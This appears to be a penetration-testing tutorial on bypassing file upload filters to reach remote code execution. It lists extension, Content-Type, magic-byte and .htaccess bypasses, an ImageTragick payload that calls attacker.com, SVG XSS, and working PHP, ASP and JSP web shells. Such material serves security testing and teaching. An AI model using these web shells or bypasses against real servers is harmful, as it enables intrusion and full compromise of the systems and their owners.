File Upload Vulnerability Testing: Bypassing Filters and Getting RCE (2025)
Unrestricted file upload vulnerabilities are a pentester's dream — they can lead directly to Remote Code Execution (RCE). Despite being well-documented, file upload flaws remain surprisingly common because developers often rely on client-side validation or incomplete server-side checks. This guide covers every technique for bypassing file upload filters in 2025.
Why File Upload Bugs Are Critical
A successful file upload exploit can give you:
- Remote Code Execution — upload a web shell and execute arbitrary commands
- Stored XSS — upload an HTML/SVG file with JavaScript
- Path Traversal — overwrite critical files via filename manipulation
- Denial of Service — upload extremely large files or zip bombs
- SSRF — upload files that trigger server-side URL fetching (e.g., SVG with external references)
Extension Filter Bypasses
Blacklist Bypasses
If the application blocks .php, try alternative extensions that the web server still executes:
# PHP alternatives
.php3, .php4, .php5, .php7, .pht, .phtml, .phar, .phps, .pgif
.PHP (case variation on Windows/IIS)
# ASP alternatives
.asp, .aspx, .ashx, .asmx, .ascx, .cer
# JSP alternatives
.jsp, .jspx, .jsw, .jsv, .jspf
# Other executable extensions
.cgi, .pl, .py, .rb, .sh, .bat, .cmd
Double Extensions
# Apache may execute based on the last recognized extension
shell.php.jpg (if .jpg is not recognized, falls back to .php)
shell.php.blah (arbitrary extension after .php)
shell.php%00.jpg (null byte — legacy bypass, works on older systems)
shell.php;.jpg (semicolon truncation on IIS)
Extension with Special Characters
# Trailing characters
shell.php.
shell.php%20
shell.php%0a
shell.php%0d%0a
# NTFS Alternate Data Streams (Windows)
shell.php::$DATA
shell.php:Zone.Identifier
Content-Type Bypass
Applications often check the Content-Type header — but this is entirely client-controlled:
# Change Content-Type to allowed value while uploading PHP
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
Common allowed Content-Types to try: image/jpeg, image/png, image/gif, application/pdf, text/plain
Magic Byte / File Signature Bypass
Advanced filters check the file's magic bytes (first few bytes). Prepend valid file signatures to your payload:
# GIF header + PHP
GIF89a
<?php system($_GET['cmd']); ?>
# PNG header (hex) + PHP
\x89PNG\r\n\x1a\n
<?php system($_GET['cmd']); ?>
# JPEG header + PHP
\xFF\xD8\xFF\xE0
<?php system($_GET['cmd']); ?>
Save these polyglot files with a .php extension (or a bypassed extension) — the server sees valid image headers but executes the PHP code.
Filename Manipulation
Path Traversal in Filenames
# Upload to a different directory
../../../var/www/html/shell.php
..%2F..%2F..%2Fvar%2Fwww%2Fhtml%2Fshell.php
# Overwrite configuration files
.htaccess (Apache — enable PHP execution in upload dir)
web.config (IIS — modify handler mappings)
.htaccess Upload
If you can upload a .htaccess file, you can make the server execute any extension as PHP:
# .htaccess content
AddType application/x-httpd-php .jpg
AddHandler php-script .txt
Then upload your web shell with a .jpg or .txt extension — Apache will execute it as PHP.
Image Processing Exploits
If the server processes uploaded images (resizing, thumbnailing), you can exploit image parsing libraries:
- ImageMagick — CVE-2016-3714 (ImageTragick):
push graphic-context; viewbox 0 0 640 480; image over 0,0 0,0 'https://attacker.com/x.php' - EXIF metadata injection — embed PHP code in EXIF fields that survive image reprocessing
- SVG with embedded scripts —
<svg onload="alert(1)">for stored XSS - Polyglot images — valid images that are also valid PHP/HTML
Web Shell Payloads
Once you bypass the filter, use a minimal web shell:
# PHP one-liner
<?php system($_GET['cmd']); ?>
# PHP with upload capability
<?php if(isset($_FILES['f'])){move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);} ?>
# ASP
<% eval request("cmd") %>
# JSP
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
Use our File Upload Payload Generator to create web shells, polyglot files, and extension bypass payloads automatically. For post-exploitation, generate a reverse shell with our Reverse Shell Generator to upgrade from web shell to interactive shell.
Chaining File Upload with Other Vulnerabilities
- File upload + LFI: Upload a PHP file anywhere, then use Local File Inclusion to execute it via
include() - File upload + SSRF: Upload an SVG referencing internal URLs — see our SSRF Generator for payloads
- File upload + XSS: Upload HTML/SVG files served from the same origin for stored XSS
- File upload + XXE: Upload XML-based files (DOCX, SVG, XLSX) with XXE payloads from our XXE Generator
Testing Checklist
- Test with a legitimate file to understand the upload flow
- Try changing only the extension (keep valid file content)
- Try changing only the Content-Type (keep malicious content)
- Try adding magic bytes to your payload
- Test double extensions, null bytes, and special characters
- Attempt .htaccess / web.config upload
- Check if uploaded files are accessible and where they're stored
- Verify if the server executes uploaded files or serves them statically
For a complete reference, check the File Upload Cheat Sheet with all bypass payloads organized by filter type.
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides